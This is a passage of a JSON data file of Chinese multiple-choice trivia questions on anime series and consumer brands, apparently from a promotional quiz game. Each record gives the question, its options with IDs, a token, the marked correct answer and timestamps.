04:51:21","status":"1"},{"questionId":"1901442088","questionIndex":"3","questionStem":"《黑执事》中是谁杀了夏尔的父母?","options":"[{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3J2x6hxKuUR7c6tkyAg\",\"optionDesc\":\"死神格雷尔\"},{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JAzxQx4h6TIgAC-8Og\",\"optionDesc\":\"虐杀天使亚修\"},{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JjWwnvZ-a-t6l0uHAA\",\"optionDesc\":\"红夫人安吉丽娜\"}]","questionToken":"Ks0Sx0BXjT6ubtUCoWOsdlA3Py3fG40T5VvHuEYyWQzlGvjx8O0gCtG7oZxR_jMFVaPaB0q9aiEkcG9uIkFV9GZnMDusnw","correct":"{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JAzxQx4h6TIgAC-8Og\",\"optionDesc\":\"虐杀天使亚修\"}","create_time":"27/1/2021 04:39:47","update_time":"27/1/2021 04:39:47","status":"1"},{"questionId":"1901442089","questionIndex":"1","questionStem":"《火影忍者》中哪项是八尾的能力?","options":"[{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JoL-LbYTqaJdSccqyA\",\"optionDesc\":\"使用泡沫和酸雾\"},{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JFN_Fv-vsbud8a9liA\",\"optionDesc\":\"尾巴有缠绕能力\"},{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3J9Xpmsn9BBiUX5J0-w\",\"optionDesc\":\"控制风沙\"}]","questionToken":"Ks0Sx0BXjT6ub9UAoWOscSLs7t695TpKdOtguqK_2DVApt1NTwBd-uIxuDrTgPGQQLMx5YZs23wGYfK8Yd8JPA_h-8vjag","correct":"{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JFN_Fv-vsbud8a9liA\",\"optionDesc\":\"尾巴有缠绕能力\"}","create_time":"27/1/2021 04:47:03","update_time":"27/1/2021 04:47:03","status":"1"},{"questionId":"1901442091","questionIndex":"2","questionStem":"《轻音部少女》秋山澪在学校人气飙升的原因","options":"[{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3J4Dx5vNdXmY\",\"optionDesc\":\"胆小\"},{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JDDZB-mYVk8\",\"optionDesc\":\"不小心摔倒走光\"},{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JnI-lSe8lbU\",\"optionDesc\":\"害羞性格\"}]","questionToken":"Ks0Sx0BXjT6vZ9UDoWOsdmCdndlEhhwGUzAm-vgV3Ut9662GD5iTq3yne3D1ogYiS2jElRFIR8fNNOtOwBnut8MFAPnC7Q","correct":"{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JDDZB-mYVk8\",\"optionDesc\":\"不小心摔倒走光\"}","create_time":"27/1/2021 04:37:43","update_time":"27/1/2021 04:37:43","status":"1"},{"questionId":"1901442093","questionIndex":"1","questionStem":"《百变小樱》中小樱的那只太阳封印之兽叫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JBZAPBbDPpxAX-d9zQ\",\"optionDesc\":\"小可\"},{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JtzcFtRzYkGWInkzMQ\",\"optionDesc\":\"雪兔\"},{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3J_yIDFNZfdRUlvXKfA\",\"optionDesc\":\"月\"}]","questionToken":"Ks0Sx0BXjT6vZdUAoWOsdmPsK-TlSXIVlHF26h3nra3NSJRyfstyoTnHQeBx73a8UrJSKg44qUeZCfu2L3lOfr970285rw","correct":"{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JBZAPBbDPpxAX-d9zQ\",\"optionDesc\":\"小可\"}","create_time":"27/1/2021 04:26:01","update_time":"27/1/2021 04:26:01","status":"1"},{"questionId":"1901442094","questionIndex":"4","questionStem":"宇智波鼬的戒指是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JJIqK018oKnQsi5nlg\",\"optionDesc\":\"朱雀\"},{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3Jjp5-zn8aHRKdfBAgw\",\"optionDesc\":\"玉女\"},{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JzQ90iBH4IL2fhg2lQ\",\"optionDesc\":\"青龙\"}]","questionToken":"Ks0Sx0BXjT6vYtUFoWOsduDaykJcn_xw-mk7_O3GymEX-GOI7bQE-lzC62xZ3k3k86baMr7n7DvK6glUQu_z6XVqi_OfaQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JJIqK018oKnQsi5nlg\",\"optionDesc\":\"朱雀\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"1901442095","questionIndex":"2","questionStem":"路飞海贼团中赏金最低的是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JKRAqeOGpbKPwLrl\",\"optionDesc\":\"乔巴\"},{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JpumYRl5CE3Hq80y\",\"optionDesc\":\"撒谎布\"},{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3J2D1x22M1DAm1lrk\",\"optionDesc\":\"山治\"}]","questionToken":"Ks0Sx0BXjT6vY9UDoWOsdukM1WkjoiWR5ku8SydL_cQ7SBZ0FreBgj4EL6NccmDqDLjm_TfHIYqujyPyQcnU3S3DOc--Kg","correct":"{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JKRAqeOGpbKPwLrl\",\"optionDesc\":\"乔巴\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"1901442096","questionIndex":"3","questionStem":"EVA中零号机的驾驶员是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JrP8fGpJbA-53BOE8A\",\"optionDesc\":\"渚薰\"},{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3J7T_Jgai01aoMUZxPA\",\"optionDesc\":\"明日香\"},{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JIvOZFQUnithL33TeA\",\"optionDesc\":\"绫波丽\"}]","questionToken":"Ks0Sx0BXjT6vYNUCoWOscY_eJQLPA0z4XbKOjtzN8RvaBRbYjzqq6LAp4h39fW6a3RqSWAPWGhovw0TrWpFdymXSFHdH7w","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JIvOZFQUnithL33TeA\",\"optionDesc\":\"绫波丽\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"1901442097","questionIndex":"1","questionStem":"以下作品哪部不是皮克斯动画工厂出产的?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JnmAymS4-ak9wm4\",\"optionDesc\":\"《飞屋环游记》\"},{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3J_dEdE0ePTjSNPQ\",\"optionDesc\":\"《海底总动员》\"},{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JMiEi_X4OUU6FWo\",\"optionDesc\":\"《冰河世纪》\"}]","questionToken":"Ks0Sx0BXjT6vYdUAoWOsdrZZgEm2QRy-Nt2E71XM-ITDNrh_kNTCvDVGQWcubvafpa74FirEqrX_nqEd8HOpMI4FvRsUgA","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JMiEi_X4OUU6FWo\",\"optionDesc\":\"《冰河世纪》\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"4901451124","questionIndex":"2","questionStem":"金水宝胶囊礼盒是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8L9piF_LwH1NcmYkb_Q\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8LeWc59SVJsmr4pCRIg\",\"optionDesc\":\"金色\"},{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8Lni-WUZoKb93yr7kqg\",\"optionDesc\":\"白色\"}]","questionToken":"L80Sx0BWjj8N8PMOn5fnfzMqdCJnK6iwkmcALCC5CZggrTZhg8z-PgIA39KLTPdOlDZAYKOvP7DcMgHBIcG6-Yo6dF2uQA","correct":"{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8LeWc59SVJsmr4pCRIg\",\"optionDesc\":\"金色\"}","create_time":"27/1/2021 04:39:40","update_time":"27/1/2021 04:39:40","status":"1"},{"questionId":"4901451125","questionIndex":"3","questionStem":"济民可信的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8LxOb050Gpi-IzMZgpw\",\"optionDesc\":\"金色\"},{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8LrIwUWKFTBv0Q8vaaA\",\"optionDesc\":\"白色\"},{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8Lfmpc43ja3asLAebbg\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8N8fMPn5fneLoKbhQ9R2447f_3UUxlQjdei7v-3JdoyPD-H5PsCVpQhmcy0MRTDuNqhq9n8Xvky1UhShFe8A","correct":"{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8Lfmpc43ja3asLAebbg\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 03:40:21","update_time":"27/1/2021 03:40:21","status":"1"},{"questionId":"4901451126","questionIndex":"5","questionStem":"济民可信总部位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8L4xqSWVKEf-YT_B9pQ\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LupLnfNbi96K9iVh1w\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LUkamSkQhBncnwP7og\",\"optionDesc\":\"江西南昌\"}]","questionToken":"L80Sx0BWjj8N8vMJn5fneG3jHWPQzrAiat762qiYG69X6cnqYlZChznoKs9tYcnFhdbuqzrLLdh_RALHDZqd9QA1fhvLEA","correct":"{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LUkamSkQhBncnwP7og\",\"optionDesc\":\"江西南昌\"}","create_time":"27/1/2021 04:48:58","update_time":"27/1/2021 04:48:58","status":"1"},{"questionId":"4901451127","questionIndex":"5","questionStem":"顾家是做什么起家的?","options":"[{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8LcuSemUWslsOja4D\",\"optionDesc\":\"沙发\"},{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8Ln-6TAL-TO4s2L2y\",\"optionDesc\":\"床垫\"},{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8L3LaCJNIdqxGHs-2\",\"optionDesc\":\"椅子\"}]","questionToken":"L80Sx0BWjj8N8_MJn5fnfwCJwlEQdYX6heTUPA7ZCcr9IbqUZa20H1ihyUvJg6jvuKr0ZKHRCCSFvpW81WEIS4tvGBzEBw","correct":"{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8LcuSemUWslsOja4D\",\"optionDesc\":\"沙发\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"4901451128","questionIndex":"1","questionStem":"顾家的总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8L8wwTHZOy7obO9Rk\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LXM-k7ebBdN2l__Z\",\"optionDesc\":\"杭州\"},{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LuT0uvifcYTZd4ZI\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8N_PMNn5fnfwFApV8Fw-eEVn6m5KBfj8uvr7pKMD8SVDHnIlJ8RI2NwFP8W_46dJJQDAypkxWH2CkcEKjRBg","correct":"{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LXM-k7ebBdN2l__Z\",\"optionDesc\":\"杭州\"}","create_time":"27/1/2021 04:39:54","update_time":"27/1/2021 04:39:54","status":"1"},{"questionId":"4901451129","questionIndex":"2","questionStem":"顾家家居的logo颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8LpbasjLTyQgBSsbR\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8Ldwfn2vqUutCgGfB\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8L7qQ6psnrd-i1Ilp\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjj8N_fMOn5fnf7zQW3z7mjsiUTzbo6AoOunHNz6tTSRTM1lti7vVEoULKl5AiF5iBz4SFIaqAAYMHlNupiaUbA","correct":"{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8Ldwfn2vqUutCgGfB\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"4901451130","questionIndex":"2","questionStem":"海天的logo颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8L8fQYpVsnA0IcoTSnw\",\"optionDesc\":\"绿色\"},{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LVTk3W8Fs7cNmqzG_Q\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LqihkdKj9Z9YAuX1ig\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8M9PMOn5fneNR_m12cjy77LWTuboTlY-8JQwshnXPX1h4w4n0TpZLkioYEJp3sjtI-X_nSApl3oQ9OrxJHRg","correct":"{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LVTk3W8Fs7cNmqzG_Q\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:32:55","update_time":"27/1/2021 04:32:55","status":"1"},{"questionId":"4901451131","questionIndex":"1","questionStem":"海天主要卖什么产品?","options":"[{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LTmML9fZvWTQkmM\",\"optionDesc\":\"调味品\"},{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8L-yGqokz3asdX5o\",\"optionDesc\":\"清洁用品\"},{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LjxFguqbBmJe8oE\",\"optionDesc\":\"电子设备\"}]","questionToken":"L80Sx0BWjj8M9fMNn5fneHYfGu_p1p6MBC0DAHZAXI96XYSJF0fyOl2YfHdDJr4_-YLgSx5b-WR89mjchQYoM1TxSfuREw","correct":"{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LTmML9fZvWTQkmM\",\"optionDesc\":\"调味品\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"4901451132","questionIndex":"3","questionStem":"海天工厂总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8L6waO0iNorhczZs\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8LQ1JIZNvWcbXF84\",\"optionDesc\":\"广东佛山\"},{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8Li_a1hvQ18vb94E\",\"optionDesc\":\"四川成都\"}]","questionToken":"L80Sx0BWjj8M9vMPn5fneONoSpqduSXBYNm5NkrTdRVFIuZ8MtY4TwfU-zBiwJD3xCH-nZHELMArqt-f9FpKSTjbi7JM1A","correct":"{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8LQ1JIZNvWcbXF84\",\"optionDesc\":\"广东佛山\"}","create_time":"27/1/2021 04:56:31","update_time":"27/1/2021 04:56:31","status":"1"},{"questionId":"4901451133","questionIndex":"3","questionStem":"惠氏启赋的罐子是什么颜色的?","options":"[{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8L_07aOoBi0PEqXA\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8LTErxSkg2vF6i2Y\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8Liq2tZ0x-TphUhI\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjj8M9_MPn5fnf8WfhBlvnKjMEIoA4UNmEIW4C0XagfsfZ3IkmZRkD1oZ4kb_vbK1k9O0yQcPnfGHvWLmPuWTbg","correct":"{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8LTErxSkg2vF6i2Y\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"4901451134","questionIndex":"4","questionStem":"惠氏有机奶粉的奶源来自哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8L2nsxfpnh6UCGVdFxA\",\"optionDesc\":\"西班牙\"},{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LmpOiHWxrT6Lui-m1Q\",\"optionDesc\":\"印度\"},{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LWAxE5BdKxIgizxVHA\",\"optionDesc\":\"爱尔兰\"}]","questionToken":"L80Sx0BWjj8M8PMIn5fnfwfFeM9-Rk_3sONryn5tOju7EMtSkUQyzBqBdnUWicy18A7tHf-KnlFer-dZAYYyiwd5anhKKg","correct":"{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LWAxE5BdKxIgizxVHA\",\"optionDesc\":\"爱尔兰\"}","create_time":"27/1/2021 04:45:00","update_time":"27/1/2021 04:45:00","status":"1"},{"questionId":"4901451135","questionIndex":"2","questionStem":"以下哪个选项是惠氏铂臻奶粉没有的成分?","options":"[{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LV7PGov3Xc-4cvJc\",\"optionDesc\":\"珍稀植物钙\"},{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LyY1wmUvpHqDI2K5\",\"optionDesc\":\"双短链益生元\"},{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LgvKqjxuHUmwokds\",\"optionDesc\":\"脑磷脂群\"}]","questionToken":"L80Sx0BWjj8M8fMOn5fnf_X9bjpEmK22UFANhJDM0Gh_Blq2EGa4Gu_nXyyE7-4sTd0jHpAck5EovKteVLwRsjquB1tetA","correct":"{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LV7PGov3Xc-4cvJc\",\"optionDesc\":\"珍稀植物钙\"}","create_time":"27/1/2021 04:50:45","update_time":"27/1/2021 04:50:45","status":"1"},{"questionId":"4901451136","questionIndex":"1","questionStem":"福临门logo的颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8LU-5tsxBAmc1pRlD\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8L51d3KlBsTg-pxma\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8Ll7O2rmjjZz-yFNq\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjj8M8vMNn5fnfxditx4vMSyPxfpQxB_8FVxcLZQlULqR_NNwlTNYDgvMrFXbEP_d_oipN_ab9EaNKd9m0r-4gw","correct":"{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8LU-5tsxBAmc1pRlD\",\"optionDesc\":\"黄色\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"4901451137","questionIndex":"5","questionStem":"福临门成立时间是哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8L31YgZHbgiJeQs3n\",\"optionDesc\":\"2020年\"},{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LkYkdtqldomZ5izN\",\"optionDesc\":\"2018年\"},{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LaNy3kemH8veVw9q\",\"optionDesc\":\"2007年\"}]","questionToken":"L80Sx0BWjj8M8_MJn5fneGvHD7obpPVOyAv0sCql7koayKgV90qbT5XGi7L1Efq6BUjDXtdJPDICOuzRLP2_UNleOJX8pg","correct":"{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LaNy3kemH8veVw9q\",\"optionDesc\":\"2007年\"}","create_time":"27/1/2021 04:52:20","update_time":"27/1/2021 04:52:20","status":"1"},{"questionId":"4901451138","questionIndex":"1","questionStem":"以下哪个属于福临门产品?","options":"[{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LeeToy2-HOlFuSTIqg\",\"optionDesc\":\"食用油\"},{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8L8ZeP-F2GtREahr8fg\",\"optionDesc\":\"薯片\"},{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LkH1UnQrOIUPvhm_kA\",\"optionDesc\":\"抽纸\"}]","questionToken":"L80Sx0BWjj8M_PMNn5fneGYqFgXUjuKcsPnhCmvgl5nLiVnL9h25zFyU3990NIEyArLSmLxvbgMqbyKePpqfhCbMHCUDhg","correct":"{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LeeToy2-HOlFuSTIqg\",\"optionDesc\":\"食用油\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"4901451139","questionIndex":"2","questionStem":"费列罗源自于哪国?","options":"[{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8L_9zjdQtR5kphZvU\",\"optionDesc\":\"英国\"},{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LrUycWp_uYp94f3V\",\"optionDesc\":\"德国\"},{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LYH1l-nA4jdDI_Sj\",\"optionDesc\":\"意大利\"}]","questionToken":"L80Sx0BWjj8M_fMOn5fneDJI8k7-koxFTrEyxjAyfE2_XDGhDuAyGMiI1XzJKaMexFteqPW1stOpBc-BnzEj-P2vdIm33A","correct":"{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LYH1l-nA4jdDI_Sj\",\"optionDesc\":\"意大利\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"4901451140","questionIndex":"1","questionStem":"费列罗主要卖什么产品?","options":"[{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8Lm_Qs3c_5L8QnDVT\",\"optionDesc\":\"面包\"},{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8L2f6cpKmGJ-N6pGs\",\"optionDesc\":\"牛奶\"},{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8LY_opPE6bjIxxLzi\",\"optionDesc\":\"巧克力\"}]","questionToken":"L80Sx0BWjj8L9PMNn5fnfzV8eVNY-VR7DBULBA_Dmuo3p5iYGO1dvVXCX5KfYKS9yUkcoSoiZXCphfoKmo04VPtgin5zig","correct":"{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8LY_opPE6bjIxxLzi\",\"optionDesc\":\"巧克力\"}","create_time":"27/1/2021 04:47:12","update_time":"27/1/2021 04:47:12","status":"1"},{"questionId":"4901451141","questionIndex":"5","questionStem":"费列罗logo的颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8L9tBZtWLLgplDAM\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LndxVDIdfa0gqUE\",\"optionDesc\":\"绿色\"},{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LUkcYHZVtz6qASI\",\"optionDesc\":\"咖啡色\"}]","questionToken":"L80Sx0BWjj8L9fMJn5fnf_HgtmwWdv9yxWP2sLewOgmUQL5FH9cDYFHvoszeSqLGClvGStg9cMQHlIpnK4oBh8ECEP1t6A","correct":"{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LUkcYHZVtz6qASI\",\"optionDesc\":\"咖啡色\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"4901451142","questionIndex":"4","questionStem":"惠而浦总部位于哪个国家?","options":"[{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8L0-8g_7wgs4VpoTmTg\",\"optionDesc\":\"意大利\"},{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LtEcSJHMmrhfakiMtA\",\"optionDesc\":\"德国\"},{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LaO_imJLmPGtg3yZiw\",\"optionDesc\":\"美国\"}]","questionToken":"L80Sx0BWjj8L9vMIn5fneLJPEZl7RUBbHkB2a2JNTl9aOvmNVnl-pH78yN4Y6Vw2Pafj6Fq4GO8x8gV5WakP4hvvQImFrQ","correct":"{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LaO_imJLmPGtg3yZiw\",\"optionDesc\":\"美国\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"4901451143","questionIndex":"3","questionStem":"惠而浦创立至今多少年了?","options":"[{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8LUloc3i-_RFgQNs7wA\",\"optionDesc\":\"99年\"},{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8L70uGjxQ1AwDNSs5_Q\",\"optionDesc\":\"29年\"},{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8Lv4GLqBmPFgP3nQy4w\",\"optionDesc\":\"59年\"}]","questionToken":"L80Sx0BWjj8L9_MPn5fnfzpVIrmZVkspoXjD0n9SiARCG9oLan_B2ixNrFjzZncw1b_SfRF2WcryxD7LHTylegkAG4v-EA","correct":"{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8LUloc3i-_RFgQNs7wA\",\"optionDesc\":\"99年\"}","create_time":"27/1/2021 04:35:45","update_time":"27/1/2021 04:35:45","status":"1"},{"questionId":"4901451144","questionIndex":"3","questionStem":"惠而浦的售后保障是?","options":"[{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LroipyAQ0ocY6cw\",\"optionDesc\":\"整机保修2年\"},{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8L1xd5F7TdTojAZw\",\"optionDesc\":\"整机保修1年\"},{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LczwahcsDbxcRJk\",\"optionDesc\":\"整机保修3年\"}]","questionToken":"L80Sx0BWjj8L8PMPn5fnf_MR7KWnz2bk0Sz91f95rV5uu_vYsNnCdsmaHVWL5FwDlcGNRPd26Kns_CRjro-4WXRn5WDrhg","correct":"{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LczwahcsDbxcRJk\",\"optionDesc\":\"整机保修3年\"}","create_time":"27/1/2021 04:48:48","update_time":"27/1/2021 04:48:48","status":"1"},{"questionId":"4901451145","questionIndex":"2","questionStem":"科沃斯2020年销量最大的产品是?","options":"[{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8L8SSNCOaoNiGtph2\",\"optionDesc\":\"空气净化机器人\"},{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8La7Hh4yJLkfEYW9V\",\"optionDesc\":\"扫地机器人\"},{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8Ll9ItYsQaXl1AqP1\",\"optionDesc\":\"擦窗机器人\"}]","questionToken":"L80Sx0BWjj8L8fMOn5fnf6BKjFrcWo-orHUPcnkdeoB2Kbgibrfl3rf3FWar_qo7fYAb6sQ5Zya75DAu6Lhf5DJzaeWRaA","correct":"{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8La7Hh4yJLkfEYW9V\",\"optionDesc\":\"扫地机器人\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"4901451147","questionIndex":"3","questionStem":"科沃斯成立于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8LQ9jnE9ia8jO4H0EZw\",\"optionDesc\":\"1998年\"},{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8L8ebgtWYYt5Un9QNtA\",\"optionDesc\":\"2018年\"},{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8Ll1sa1MQSh1XNjzJmg\",\"optionDesc\":\"2008年\"}]","questionToken":"L80Sx0BWjj8L8_MPn5fneMgLbCzbSDGLWAb7GlVNbpX2phBKatVEhGYfVZjP7Y8jZRSyDhSNTwfqMJ4MohfzK1bchhCLVw","correct":"{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8LQ9jnE9ia8jO4H0EZw\",\"optionDesc\":\"1998年\"}","create_time":"27/1/2021 04:32:56","update_time":"27/1/2021 04:32:56","status":"1"},{"questionId":"4901451148","questionIndex":"5","questionStem":"科沃斯总部位于?","options":"[{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8L2SVN5yQRIUz69c\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8LZCB_20AwoM3Oo4\",\"optionDesc\":\"苏州\"},{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8Ls4B1wIlcDyX6mo\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8L_PMJn5fneJasnbQm2GJ0jbsimc4sngolrrDjTJuzA9lumO0JIzLEe_ZORrgkY5UN6lMok2-RXEbvoli4SQ","correct":"{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8LZCB_20AwoM3Oo4\",\"optionDesc\":\"苏州\"}","create_time":"27/1/2021 04:39:23","update_time":"27/1/2021 